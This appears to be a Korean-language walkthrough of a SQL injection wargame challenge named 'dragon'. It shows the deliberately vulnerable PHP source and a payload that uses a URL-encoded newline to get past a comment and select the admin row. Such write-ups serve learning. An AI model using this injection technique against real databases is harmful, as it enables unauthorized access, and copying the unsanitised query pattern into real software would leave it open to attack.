<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
🔹 $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, ()
, /i (대소문자를 구분하지 않음)
2.
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
id=guest로 고정되어있지만 #
로 주석처리가 되어있다.
id=admin
일 경우, 성공적으로 출력할 수 있다는 것을 알 수 있다.
$query = "select id from prob_dragon where id='guest'#
and pw='' or id='admin'";
id='geust'#
하고 그 뒤에 문자열이 지워지기 때문에, \n
을 넣어 그 다음줄에 입력한 구문이 이어질 수 있도록 입력해주면 될 것 같다.
$query = "select id from prob_dragon where (id=`guest` and pw=``)
or id=`admin`;
\n
의 URL encoding은 %0a
이다.
pw=%0a and pw='' || id='admin